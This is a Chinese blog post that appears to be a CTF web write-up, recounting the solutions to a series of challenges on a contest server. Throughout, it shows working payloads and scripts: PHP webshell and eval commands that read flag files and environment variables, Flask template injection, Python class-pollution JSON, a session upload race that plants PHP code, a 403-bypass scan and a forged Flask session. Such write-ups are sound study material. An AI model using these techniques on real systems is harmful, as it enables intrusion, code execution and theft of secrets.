╭─[fridayssheep@allinone:~/文/web]—{^o^}—(01:51:43)—(254ms)
╰─$> curl -d "cmd=system('cat /flag.txt');" http://ctf.zjutsoft.cn:10116/uploads/test.jpg
GIF89a
╭─[fridayssheep@allinone:~/文/web]—{^o^}—(01:51:44)—(49ms)
╰─$>

hyw啊,我的flag呢?

╭─[fridayssheep@allinone:~/文/web]—{^o^}—(01:54:00)—(48ms)
╰─$> curl -d "cmd=var_dump(scandir('..'));" http://ctf.zjutsoft.cn:10116/uploads/test.jpg
GIF89a
array(6) {
  [0]=>
  string(1) "."
  [1]=>
  string(2) ".."
  [2]=>
  string(8) "flag.php"
  [3]=>
  string(9) "index.php"
  [4]=>
  string(10) "upload.php"
  [5]=>
  string(7) "uploads"
}
╭─[fridayssheep@allinone:~/文/web]—{^o^}—(01:54:11)—(53ms)
╰─$>

原来是在上层目录啊

curl -d "cmd=highlight_file('../flag.php');" http://ctf.zjutsoft.cn:10116/uploads/test.jpg

但是!!但是!!!!这个php文件是个假的flag!!!

真正的flag在哪里呢?先检查一下环境变量看看吧

curl -d "cmd=system('env');" http://ctf.zjutsoft.cn:10116/uploads/test.jpg

666,果然在环境变量里面,成功拿下此题

我算是知道不要扫目录是什么意思了

PHP_request_2

(you)(shuang)叒叕的给了一串PHP源码(后两个字读ruo zhuo

<?php

error_reporting(0);
extract($_POST);
eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
highlight_file(__FILE__);
  • extract($_POST);:这个函数会将POST提交的键值对变成当前的 PHP 变量。例如,POST 提交 a=1,那么在脚本里就直接多了一个变量 $a,且值为 1

  • eval($$$...$_);:这是 PHP 的可变变量语法。每一个 $ 符号都代表一次“取指向”的操作。

    • $_ 是最底层的变量名。

    • $$_ 等于以 $_ 的值作为名字的变量。

    • $$$_ 等于以 $$_ 的值作为名字的变量,以此类推。

这就意味着,我们需要构造一个长长的链条36 次套娃,最后取到的字符串是我们要执行的代码……

写个python脚本再顺便全部查一下可能的flag位置以防被耍

import requests
import re

url = "http://ctf.zjutsoft.cn:10048/"

# 定义需要扫描的 Payload 列表
# 1. 扫描根目录 2. 扫描上级目录 3. 查找全盘 flag 相关文件 4. 查看 phpinfo 详情
tasks = {
    "Scan Root (/)": "system('ls -F /');",
    "Scan Parent (..)": "system('ls -F ..');",
    "Find Flag Files": "system('find / -name \"*flag*\" 2>/dev/null');",
    "Check phpinfo": "phpinfo();"
}

def build_payload(cmd):
    """构造 36 层嵌套的 POST 数据"""
    params = {'_': 'a1'}
    for i in range(1, 35):
        params[f'a{i}'] = f'a{i+1}'
    params['a35'] = cmd
    return params

print(f"[*] 开始对 {url} 进行全方位探测...\n")

for task_name, cmd in tasks.items():
    print(f"正在执行: [{task_name}] ...")
    try:
        response = requests.post(url, data=build_payload(cmd), timeout=10)
        
        # 防止 phpinfo 输出刷屏
        output = response.text.split('<code>')[0].strip()
        
        print("-" * 30)
        if task_name == "Check phpinfo":
            flags = re.findall(r'flag\{.*?\}', output, re.I)
            if flags:
                print(f"[!!!] 在 phpinfo 中发现 Flag: {flags}")
            else:
                print("[*] phpinfo 已执行,未直接发现 flag 字符串,请手动检查输出。")
        else:
            print(output if output else "[!] 无回显内容")
        print("-" * 30 + "\n")
        
    except Exception as e:
        print(f"[-] 执行 {task_name} 时发生错误: {e}")

print("[*] 探测结束。")

找到了在/flag.txt里面,把他读出来

import requests

url = "http://ctf.zjutsoft.cn:10048/"
payload = "system('cat /flag.txt');"

def build_payload(cmd):
    params = {'_': 'a1'}
    for i in range(1, 35):
        params[f'a{i}'] = f'a{i+1}'
    params['a35'] = cmd
    return params

print(f"[*] 正在从 {url} 读取 /flag.txt ...")

try:
    response = requests.post(url, data=build_payload(payload))
    
    result = response.text.split('<code>')[0].strip()
    
    print("-" * 50)
    if result:
        print(f"Flag 是: {result}")
    else:
        print(f"回显: {response.text[:200]}")
    print("-" * 50)

except Exception as e:
    print(f"[-] 错误: {e}")

PHP_request_3

我不说你也知道是一串PHP源码

<?php
highlight_file(__FILE__);
error_reporting(0);
include 'flag.php';
function check($x) {
    if (preg_match('/^\d+$/', $x)) {
        die("no number!");
    }

    $v = intval($x);

    if ($v == 114514 && strlen($x) <= 7) {
        return true;
    }

    return false;
}

if (isset($_GET['id'])) {
    if (check($_GET['id'])) {
        echo $flag;
    } else {
        echo "try harder";
    }
}

可以看到我们要传入的一个参数为11514的id,它必须满足以下三个条件:

  1. preg_match('/^\d+$/', $x) 必须不满足(否则返回no number!):这意味着 id 不能全是数字(必须包含至少一个非数字字符)。

  2. intval($x) == 114514:经过整数转换后,其值必须等于 $114514$。(臭死了啊啊啊啊啊啊啊啊啊啊

  3. strlen($x) <= 7:字符串的总长度不能超过 $7$ 位。

由于$v = intval($x)在转换字符串时,会从左到右读取,直到遇到非数字字符为止。我们可以利用这一点,在数字前后添加特定字符。

随便添加一个空格%20 或者什么字符就可以了,访问或者curl下面这个网址(注意最后的点号)

http://ctf.zjutsoft.cn:10082/?id=114514.

one_by_one

嗯,反正不可能是一串go源码

 <?php

highlight_file(__FILE__);
include "flag.php";


$q = $_SERVER['QUERY_STRING'];

parse_str($q, $arr);

$result = '';
for ($i = 1; $i <= count($arr); $i++) {
    if (strlen($arr[$i]) > 1) die("太长了!!");
    $result .= $arr[$i];
}

if ($result === "一个接一个") {
    echo "ok";
    echo $flag;
}

可以看到,parse_str($q, $arr):将 URL 中的查询字符串解析到变量 $arr 中。例如 ?1=a&2=b 会变成 $arr['1']='a', $arr['2']='b'

strlen($arr[$i]) > 1:在 PHP 中,strlen 计算的是字节数而不是字符数。

"一个接一个" 在 UTF-8 编码下,一个中文字符通常占用 3 个字节

由于每个 $arr[$i] 只能有 1 个字节,我们需要把每个汉字拆分成 3 个原始字节,按顺序传给 1, 2, 3...

我们需要获取“一个接一个”这 5 个字的 UTF-8 十六进制编码:

  • \xE4\xB8\x80

  • \xE4\xB8\xAA

  • \xE6\x8E\xA5

  • \xE4\xB8\x80

  • \xE4\xB8\xAA

总共 5 个字 $\times$ 3 字节 = 15 个字节。我们需要构造从 115 的参数。

http://ctf.zjutsoft.cn:10166/?1=%E4&2=%B8&3=%80&4=%E4&5=%B8&6=%AA&7=%E6&8=%8E&9=%A5&10=%E4&11=%B8&12=%80&13=%E4&14=%B8&15=%AA

拿去访问就能拿到flag了

Local_File_Inclusion

显而易见的,不是Python源码

<?php

highlight_file("index.php");
error_reporting(0);
session_start();

function waf($path){
    $path = str_replace(".","",$path);
    return preg_match("/^[a-z]+/",$path);
}

if(waf($_POST[1])){
    include "file://".$_POST[1];
}

?>

它在内部把输入删掉了所有点之后,检查开头是不是字母。这意味着如果输入 ../../flag,删掉点后会变成 //flag,开头是 / 而不是字母,会被拦截。

同时,include 语句被写死了必须以 file:// 开头。这意味着不能直接使用 php://filter(因为会变成 file://php://filter,导致失效)。

那也好办,使用localhost开头即可

╭─[fridayssheep@allinone:~/文/web]—{^o^}—(02:04:34)—(254ms)
╰─$> curl -d "1=localhost/flag" http://ctf.zjutsoft.cn:10109/
<code><span style="color: #000000">
<span style="color: #0000BB">&lt;?php<br /><br />highlight_file</span><span style="color: #007700">(</span><span style="color: #DD0000">"index.php"</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">error_reporting</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">session_start</span><span style="color: #007700">();<br /><br />function&nbsp;</span><span style="color: #0000BB">waf</span><span style="color: #007700">(</span><span style="color: #0000BB">$path</span><span style="color: #007700">){<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$path&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">str_replace</span><span style="color: #007700">(</span><span style="color: #DD0000">"."</span><span style="color: #007700">,</span><span style="color: #DD0000">""</span><span style="color: #007700">,</span><span style="color: #0000BB">$path</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">preg_match</span><span style="color: #007700">(</span><span style="color: #DD0000">"/^[a-z]+/"</span><span style="color: #007700">,</span><span style="color: #0000BB">$path</span><span style="color: #007700">);<br />}<br /><br />if(</span><span style="color: #0000BB">waf</span><span style="color: #007700">(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #0000BB">1</span><span style="color: #007700">])){<br />&nbsp;&nbsp;&nbsp;&nbsp;include&nbsp;</span><span style="color: #DD0000">"file://"</span><span style="color: #007700">.</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #0000BB">1</span><span style="color: #007700">];<br />}<br /><br /></span><span style="color: #0000BB">?&gt;<br /></span>
</span>
</code>flag{4ed2c12e-ffb8-4a63-8ff7-00259f01c2ff}
╭─[fridayssheep@allinone:~/文/web]—{^o^}—(02:07:39)—(48ms)
╰─$>

做这题的时候已经2:00了,lz明早(今天的晚些时候)7:00就要起床,nmd

贪吃蛇

神人,这题抄的人家的,连flag疑似都是静态的

青少年CTF-贪吃蛇_ctf 贪吃蛇-CSDN博客

Pollution1

Welcome. Hint: Check out /admin/exec to see how we run system commands. Welcome to the Config Manager. Use POST /update to change settings.

访问得到了这个,看起来像是个flask框架搭的后端,不过居然让我们访问/admin/exec那就去看看有什么猫腻吧

╭─[fridayssheep@allinone:~/文/web]—{^o^}—(02:07:39)—(48ms)
╰─$> curl http://ctf.zjutsoft.cn:10143/admin/exec

# ==========================================
# [DEBUG VIEW] Source Code & Current State
# ==========================================

config = {
    "admin_command": "echo 'System is safe'"  # <--- Current Value
}

# Backend Execution Logic:
try:
    output = os.popen(config['admin_command']).read()
    return output
except Exception as e:
    return str(e)

# ==========================================
# [EXECUTION OUTPUT BELOW]
# ==========================================

System is safe
╭─[fridayssheep@allinone:~/文/web]—{^o^}—(02:11:52)—(56ms)
╰─$> curl -X POST -d "cmd=;id" http://ctf.zjutsoft.cn:10143/update
{"message":"Invalid JSON","status":"error"}
╭─[fridayssheep@allinone:~/文/web]—{^o^}—(02:12:03)—(49ms)
╰─$>

额,看起来后端不接受传统的表单提交,它要求发送 JSON 格式的数据。

╭─[fridayssheep@allinone:~/文/web]—{^o^}—(02:12:03)—(49ms)
╰─$> curl -X POST \
     -H "Content-Type: application/json" \
     -d '{"admin_command": "cat /flag.txt"}' \
     http://ctf.zjutsoft.cn:10143/update
{"message":"Config updated","status":"success"}
╭─[fridayssheep@allinone:~/文/web]—{^o^}—(02:12:32)—(51ms)
╰─$> curl http://ctf.zjutsoft.cn:10143/admin/exec

# ==========================================
# [DEBUG VIEW] Source Code & Current State
# ==========================================

config = {
    "admin_command": "echo 'System is safe'"  # <--- Current Value
}

# Backend Execution Logic:
try:
    output = os.popen(config['admin_command']).read()
    return output
except Exception as e:
    return str(e)

# ==========================================
# [EXECUTION OUTPUT BELOW]
# ==========================================

System is safe
╭─[fridayssheep@allinone:~/文/web]—{^o^}—(02:12:40)—(59ms)
╰─$> curl -X POST      -H "Content-Type: application/json"      -d '{"admin_command": "cat /flag"}'      http://ctf.zjutsoft.cn:10143/update
{"message":"Config updated","status":"success"}
╭─[fridayssheep@allinone:~/文/web]—{^o^}—(02:13:03)—(57ms)
╰─$> curl http://ctf.zjutsoft.cn:10143/admin/exec                                                                         
# ==========================================
# [DEBUG VIEW] Source Code & Current State
# ==========================================

config = {
    "admin_command": "echo 'System is safe'"  # <--- Current Value
}

# Backend Execution Logic:
try:
    output = os.popen(config['admin_command']).read()
    return output
except Exception as e:
    return str(e)

# ==========================================
# [EXECUTION OUTPUT BELOW]
# ==========================================

System is safe
╭─[fridayssheep@allinone:~/文/web]—{^o^}—(02:13:04)—(58ms)
╰─$>

hyw啊?刚提交的又被原始的默认值给覆盖掉了?

一开始我想会不会是因为session失效了,所以我将cookies保存了下来,尝试带上cookies修改和访问

╭─[fridayssheep@allinone:~/文/web]—{^o^}—(02:13:04)—(58ms)
╰─$> curl -c cookies.txt http://ctf.zjutsoft.cn:10143/admin/exec && \
curl -b cookies.txt -c cookies.txt -X POST \
     -H "Content-Type: application/json" \
     -d '{"admin_command": "cat /flag"}' \
     http://ctf.zjutsoft.cn:10143/update && \
curl -b cookies.txt http://ctf.zjutsoft.cn:10143/admin/exec

# ==========================================
# [DEBUG VIEW] Source Code & Current State
# ==========================================

config = {
    "admin_command": "echo 'System is safe'"  # <--- Current Value
}

# Backend Execution Logic:
try:
    output = os.popen(config['admin_command']).read()
    return output
except Exception as e:
    return str(e)

# ==========================================
# [EXECUTION OUTPUT BELOW]
# ==========================================

System is safe
{"message":"Config updated","status":"success"}

# ==========================================
# [DEBUG VIEW] Source Code & Current State
# ==========================================

config = {
    "admin_command": "echo 'System is safe'"  # <--- Current Value
}

# Backend Execution Logic:
try:
    output = os.popen(config['admin_command']).read()
    return output
except Exception as e:
    return str(e)

# ==========================================
# [EXECUTION OUTPUT BELOW]
# ==========================================

System is safe

彻底没招了,只能查了一下(问了下gemini),这里需要用到Python原型链污染(prototype-pollution-in-python)

看来这一题比想象中要“狡猾”。既然你已经尝试了 Session 保持但依然看到 System is safe,这说明后端并不依赖 Session 来存储配置,或者它在每次请求 /admin/exec 时都从某个“源头”重置了 config 字典。

结合 /admin/exec 返回的 Python 调试源码,这极大概率是一道 Python 类污染(Class Pollution) 题目。

1. 核心逻辑分析

在 Python 中,如果后端使用了一个类似“合并(Merge)”的函数来处理 JSON 更新,但没有对 __init____class__ 进行过滤,攻击者就可以通过 JSON 注入来修改 全局变量类的属性

观察调试信息:

Python

config = {
    "admin_command": "echo 'System is safe'"  # <--- Current Value
}

如果这个 config 在后端代码中是一个类属性全局变量,而普通的 POST /update 只是修改了一个局部副本,那么我们需要通过 __globals____init__ 来强行改写全局的那个 config


2. 尝试“类污染”绕过

请尝试使用以下几种嵌套结构的 JSON Payload 进行更新。它们的目的是通过 Python 的特殊属性深入到内存底层,改写那个被硬编码的 admin_command

针对全局字典的污染

curl -X POST -H "Content-Type: application/json" \
     -d '{"__init__": {"__globals__": {"config": {"admin_command": "cat /flag"}}}}' \
     http://ctf.zjutsoft.cn:10143/update

还是西药有效,Gemini给出的解决方案一次就拿到了flag,这题就是在考Python原型链污染(prototype-pollution-in-python)

关于Python原型链污染,这篇文章详细的介绍了为什么会这样:Python原型链污染(prototype-pollution-in-python) - Article_kelp - 博客园

登录框的秘密

给了一个登陆框,随便输入就会变成Hello加上你刚刚的输入内容,同时url会出现?user=刚刚的输入内容

thesecretoflogininterface.webp

thesecretoflogininterface2.webp

先试了试在?user=后面跟上{{0*114}} ,Hello后面的内容变成了0,破案了,后端又是用的Python的Flask。

那好办了,先看看环境变量里面有些什么

http://ctf.zjutsoft.cn:10128/?user={{config}}

看起来并没有flag

nothinginenv.webp

接下来尝试去读根目录的内容

?user={{url_for.__globals__['os'].popen('ls /').read()}}

wtfmeansoflengthbro.webp

????666还带嘲讽的

额,好吧,看起来访问路径暂时行不通,那先看看全局环境变量有些什么吧,在?user=后面跟上{{lipsum.__globals__.os.environ}}

sbfakeflaginenvglobal.webp

woc秒出flag秒杀!!!!!!!!

放屁,这是个假的flag,出题人出来我给你说个事,wcnmb的

试着用?user={{lipsum.__globals__.os.listdir('/')}}列了下根目录下的文件,果然在根目录下

flaginrootdir.webp

那就读呗

尝试使用os.open只负责打开文件,但是

?user={{lipsum.__globals__.os.open('/flag',0)}} 超长了……

但是不对啊,刚刚{{lipsum.__globals__.os.environ}} 34个字符,刚刚好可以访问,但是{{lipsum.__globals__.os.open('/flag',0)}} 就是35个字符,就超长了????恶不恶心啊????

更气人的是,我们在/app目录下,没法去掉/……(已经快3:00了脑袋不清醒了)

notinrootdir.webp

等等,那我们想办法跳转到根目录下不久好了

?user={{lipsum.__globals__.os.chdir('..')}} 返回了NONE

再次用?user={{lipsum.__globals__.os.getcwd()}} 检查路径,这回来到了根目录

接下来就是一点小小的linux知识了

Linux 内核底层的文件处理机制之文件描述符(File Descriptor, FD)

在 Linux 系统中,有一句名言:“一切皆文件”。

调用 os.open('flag', 0) 时,操作系统会发生如下操作:

  1. 在进程的“文件表”里打开一个位置。

  2. 分配一个空位置

进程内部维护一张叫 “打开文件表”(open file table) 的数组(在用户态里是由 Python/CPython 实现、在内核里是 struct file)。

每个新进入的文件都必须占到这张表中的一个索引位置。

  1. 分配并返回一个整数

在该空位置中保存对应的 文件结构体(inode、读写位置等)。

同时把 fd(文件描述符)——即这个表的索引编号——返回给调用者。常见的取值是 0, 1, 2…,但并不一定从 3 开始,只是第一次打开时得到的最小可用整数。

把前面的{{lipsum.__globals__.os.open('/flag',0)}} 去掉/ ,得到一个索引编号5

{{lipsum.__globals__.os.read(5,99)}} 拿到flag,终于结束了这题

upload3

<?php
// index.php
session_start();

$file = $_GET['file'];

// 题目描述:Flag 在 /flag.php,但是你需要 Webshell 才能读取。
// 提示:没有上传功能?PHP 自身也是会处理上传的哦。

if (isset($file)) {
    // 简单的过滤,防止直接读取 flag,强迫使用 Webshell
    if (strpos($file, 'flag') !== false) {
        die("No flag for you directly!");
    }
    
    // 必须是存在的文件
    if (file_exists($file)) {
        include($file);
    } else {
        echo "File not found.";
    }
} else {
    highlight_file(__FILE__);
}
?>

题目提到了PHP 的 session.upload_progress 功能,那么我们可以通过 POST 上传一个文件,并在 PHP_SESSION_UPLOAD_PROGRESS 中填入木马:<?php system('cat /flag.php'); ?>。PHP 会把这段代码写入 Session 文件(通常在 /tmp/sess_$PHPSESSID),接下来我们利用 include($_GET['file']) 去包含这个 Session 文件。

不过,由于 Session 文件在上传结束后可能会被 PHP 自动清理,我们需要用到条件竞争——在上传还没结束时,赶紧去 include 它。

事已至此,先去找PHPSESSID

curl -i http://ctf.zjutsoft.cn:10035/

得到PHPSESSID=7387f55c4571d37485157a91a832d694

把这个PHPSESSID export到系统env中,懒得打了

接下来找服务器的上传位置,一个一个用curl试

  • ?file=/var/lib/php/sessions/sess_$PHPSESSID

  • ?file=/var/lib/php/session/sess_$PHPSESSID

  • ?file=/tmp/sess_$PHPSESSID

  • ?file=/tmp/sessions/sess_$PHPSESSID

╭─[fridayssheep@allinone:~/文/web]—{^o^}—(02:54:39)—(48ms)
╰─$> curl http://ctf.zjutsoft.cn:10035/?file=/tmp/sess_$PHPSESSID
╭─[fridayssheep@allinone:~/文/web]—{^o^}—(02:55:14)—(55ms)
╰─$>

?file=/tmp/sess_$PHPSESSID 找到了存储位置

好写脚本xd好写

import requests
import threading
import io

url = "http://ctf.zjutsoft.cn:10035/"
sess_id = "7387f55c4571d37485157a91a832d694"
session_file = f"/tmp/sess_{sess_id}"

# 构造一个 1MB 的大文件,延长上传时间
big_file = b"a" * 1024 * 1024 

# 攻击 Payload:利用 readfile 直接读取 php 源码
tag = "EXPL_SUCCESS"
payload = f"<?php echo '{tag}'; echo '[ROOT_FLAG]:'; readfile('/flag'); echo '[LOCAL_PHP]:'; readfile('flag.php'); die(); ?>"

def write():
    while True:
        data = {"PHP_SESSION_UPLOAD_PROGRESS": payload}
        files = {"file": ("shell.php", io.BytesIO(big_file))}
        try:
            requests.post(url, data=data, files=files, cookies={"PHPSESSID": sess_id})
        except:
            pass

def read():
    while True:
        try:
            r = requests.get(url, params={"file": session_file}, cookies={"PHPSESSID": sess_id})
            if tag in r.text:
                print("\n\n[!!!] 捕获成功!内容如下:")
                print(r.text.split(tag)[1].split("<code>")[0]) 
                import os
                os._exit(0)
            else:
                print(".", end="", flush=True)
        except:
            pass

print(f"[*] 目标路径: {session_file}")

# 开启 10 个写线程,10 个读线程
for _ in range(10):
    threading.Thread(target=write).start()
for _ in range(10):
    threading.Thread(target=read).start()

执行这个py脚本,flag到手

Pollution2

哎woc我踏马当时怎么这么有毅力啊?我现在回头写博客我都不想写了

前端是个登录框,输什么都会报错Error: Authentication service is offline. Contact admin.

fakelogininterface.webp

试着抓了个包看看是发到哪里的和提交的数据格式

╭─[fridayssheep@allinone:~/文/web]—{^o^}—(03:03:51)—(59ms)
╰─$> curl -X POST -H "Content-Type: application/json"      -d '{
         "username": "admin",
         "password": "123",
         "__init__": {"__globals__": {"offline": false}}
     }'      http://ctf.zjutsoft.cn:10143/
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Internal Login</title>
    <style>
        body { font-family: sans-serif; display: flex; flex-direction: column; align-items: center; padding-top: 100px; background-color: #f0f0f0; transition: background 0.5s; }
        .login-box { background: white; padding: 30px; border-radius: 8px; box-shadow: 0 2px 10px rgba(0,0,0,0.1); width: 300px; }
        input { width: 100%; padding: 10px; margin: 10px 0; box-sizing: border-box; }
        button { width: 100%; padding: 10px; background: #007bff; color: white; border: none; cursor: pointer; }
        button:hover { background: #0056b3; }
        .error { color: red; font-size: 14px; margin-bottom: 10px; }
        .footer-tools { margin-top: 20px; font-size: 12px; color: #666; cursor: pointer; text-decoration: underline; }
    </style>
</head>
<body>

    <div class="login-box">
        <h2 style="text-align: center;">Admin Portal</h2>


        <div class="error">Error: Authentication service is offline. Contact admin.</div>


        <form method="POST">
            <input type="text" name="username" placeholder="Username" required>
            <input type="password" name="password" placeholder="Password" required>
            <button type="submit">Login</button>
        </form>
    </div>

    <div class="footer-tools" onclick="toggleTheme()">
        [Toggle Dark Mode]
    </div>

    <script>
        // 选手看到这个函数,应该意识到可以通过 JSON 控制后端对象的属性
        function toggleTheme() {
            const isDark = document.body.style.backgroundColor === 'rgb(51, 51, 51)';
            const newColor = isDark ? '#f0f0f0' : '#333333';

            // 发送 JSON 配置
            fetch('/set_preferences', {
                method: 'POST',
                headers: {'Content-Type': 'application/json'},
                body: JSON.stringify({
                    "color": newColor
                })
            }).then(res => res.json()).then(data => {
                if(data.status === 'success') {
                    document.body.style.backgroundColor = newColor;
                }
            });
        }
    </script>
</body>
</html>
╭─[fridayssheep@allinone:~/文/web]—{^o^}—(03:03:55)—(48ms)
╰─$>

666,神人源码拿AI写的

可以的,3A大赛,AI源码,AI做题,AI分析

不过,我们知道了 /set_preferences 是我们的真正污染点

试着去污染,看看能不能让验证服务上线

╭─[fridayssheep@allinone:~/文/web]—{^o^}—(03:03:55)—(48ms)
╰─$> curl -X POST -H "Content-Type: application/json" \
     -d '{"__init__": {"__globals__": {"offline": false}}}' \
     http://ctf.zjutsoft.cn:10143/set_preferences
{"msg":"Preferences saved","status":"success"}
╭─[fridayssheep@allinone:~/文/web]—{^o^}—(03:04:37)—(48ms)
╰─$> curl -X POST -H "Content-Type: application/json"      -d '{"__init__": {"__globals__": {"offline": false}}}'      http://ctf.zjutsoft.cn:10143/set_preferences
{"msg":"Preferences saved","status":"success"}
╭─[fridayssheep@allinone:~/文/web]—{^o^}—(03:04:55)—(48ms)
╰─$> curl -X POST -H "Content-Type: application/json" \
     -d '{"__init__": {"__globals__": {
         "offline": false,
         "is_offline": false,
         "maintenance": false,
         "maintenance_mode": false,
         "auth_service_offline": false,
         "service_offline": false,
         "status": "online"
     }}}' \
     http://ctf.zjutsoft.cn:10143/set_preferences
{"msg":"Preferences saved","status":"success"}
╭─[fridayssheep@allinone:~/文/web]—{^o^}—(03:05:28)—(47ms)
╰─$> curl -X POST -H "Content-Type: application/json" \
     -d '{"__init__": {"__globals__": {"app": {"config": {"OFFLINE": false, "MAINTENANCE": false}}}}}' \
     http://ctf.zjutsoft.cn:10143/set_preferences
{"msg":"Preferences saved","status":"success"}
╭─[fridayssheep@allinone:~/文/web]—{^o^}—(03:05:46)—(46ms)
╰─$> curl -X POST -H "Content-Type: application/json" \
     -d '{"__init__": {"__globals__": {"app": {"debug": true}}}}' \
     http://ctf.zjutsoft.cn:10143/set_preferences
{
  "msg": "Preferences saved",
  "status": "success"
}
╭─[fridayssheep@allinone:~/文/web]—{^o^}—(03:05:58)—(46ms)
╰─$>

返回了 {"status":"success"} ,说明后端确实存在 Merge漏洞,且 init.__globals__ 路径已经成功访问了Python 的全局命名空间

然后各种猜,各种试变量名……但是全都没有结果

╭─[fridayssheep@allinone:~/文/web]—{^o^}—(03:10:58)—(48ms)
╰─$> curl -X POST -H "Content-Type: application/json" \
     -d '{"__init__": {"__globals__": {"non_existent_variable": "test"}}}' \
     http://ctf.zjutsoft.cn:10143/set_preferences
{
  "msg": "Preferences saved",
  "status": "success"
}
╭─[fridayssheep@allinone:~/文/web]—{^o^}—(03:11:17)—(47ms)
╰─$>

甚至我故意传了个不可能存在的变量名企图让报错泄露实际路径,但是这次居然也是success?

这个时候冷静下来了,我为什么要去激活这个“离线”的认证系统?我们要这个认证系统的目的无非就是访问到某个后台文件或者拿到某个权限进而去获得某个路径的访问权,那我们的最终目的都是“被认证”,何必非得经过原有的暗箱?

同时我觉得这个靶机绝对不只是只有这两个路径,于是当了个脚本小子,尝试看看有没有其他路径顺便看看能不能顺便获的鉴权,首先我发现了admin是可以访问的,于是尝试脚本批量查看admin的鉴权方式

╭─[fridayssheep@allinone:~/文/web]—{^o^}—(03:14:59)—(6ms)
╰─$> ./bypass-403.sh http://ctf.zjutsoft.cn:10143/
./bypass-403.sh: 行 2: figlet: 未找到命令
                                               By Iam_J0ker
./bypass-403.sh https://example.com path

404,207  --> http://ctf.zjutsoft.cn:10143/admin/
404,207  --> http://ctf.zjutsoft.cn:10143/admin/%2e/
404,207  --> http://ctf.zjutsoft.cn:10143/admin//.
404,207  --> http://ctf.zjutsoft.cn:10143/admin////
404,207  --> http://ctf.zjutsoft.cn:10143/admin/.//./
404,207  --> http://ctf.zjutsoft.cn:10143/admin/ -H X-Original-URL:
404,207  --> http://ctf.zjutsoft.cn:10143/admin/ -H X-Custom-IP-Authorization: 127.0.0.1
404,207  --> http://ctf.zjutsoft.cn:10143/admin/ -H X-Forwarded-For: http://127.0.0.1
404,207  --> http://ctf.zjutsoft.cn:10143/admin/ -H X-Forwarded-For: 127.0.0.1:80
403,47  --> http://ctf.zjutsoft.cn:10143/admin -H X-rewrite-url:
404,207  --> http://ctf.zjutsoft.cn:10143/admin/%20
404,207  --> http://ctf.zjutsoft.cn:10143/admin/%09
404,207  --> http://ctf.zjutsoft.cn:10143/admin/?
404,207  --> http://ctf.zjutsoft.cn:10143/admin/.html
404,207  --> http://ctf.zjutsoft.cn:10143/admin//?anything
404,207  --> http://ctf.zjutsoft.cn:10143/admin/#
404,207  --> http://ctf.zjutsoft.cn:10143/admin/ -H Content-Length:0 -X POST
404,207  --> http://ctf.zjutsoft.cn:10143/admin//*
404,207  --> http://ctf.zjutsoft.cn:10143/admin/.php
404,207  --> http://ctf.zjutsoft.cn:10143/admin/.json
404,207  --> http://ctf.zjutsoft.cn:10143/admin/  -X TRACE
404,207  --> http://ctf.zjutsoft.cn:10143/admin/ -H X-Host: 127.0.0.1
404,207  --> http://ctf.zjutsoft.cn:10143/admin/..;/
000,0  --> http://ctf.zjutsoft.cn:10143/admin/;/
404,207  --> http://ctf.zjutsoft.cn:10143/admin/ -X TRACE
404,207  --> http://ctf.zjutsoft.cn:10143/admin/ -H X-Forwarded-Host: 127.0.0.1
Way back machine:
^C

hyw啊,合着admin是有内容的,同时访问/admin浏览器提示403Forbidden

那接下来的思路就有了,在 Flask 中,拦截器通常会检查 session。前面我们可以通过/set_preferences进行污染,那么我们污染 SECRET_KEY就好了

curl -X POST -H "Content-Type: application/json" \
     -d '{"__init__": {"__globals__": {"SECRET_KEY": "123", "app": {"config": {"SECRET_KEY": "ctf"}}}}}' \
     http://ctf.zjutsoft.cn:10143/set_preferences

然后使用flask-unsign 来伪造session

╭─[fridayssheep@allinone:~/文/web]—{^o^}—(03:20:20)—(2.505s)
╰─$>flask-unsign --sign --cookie "{'is_admin': True, 'user': 'admin'}" --secret "ctf" --no-literal-eval

此时/admin变成了flag,成功全部解决web

结 算 画 面

ctfwinyear.webp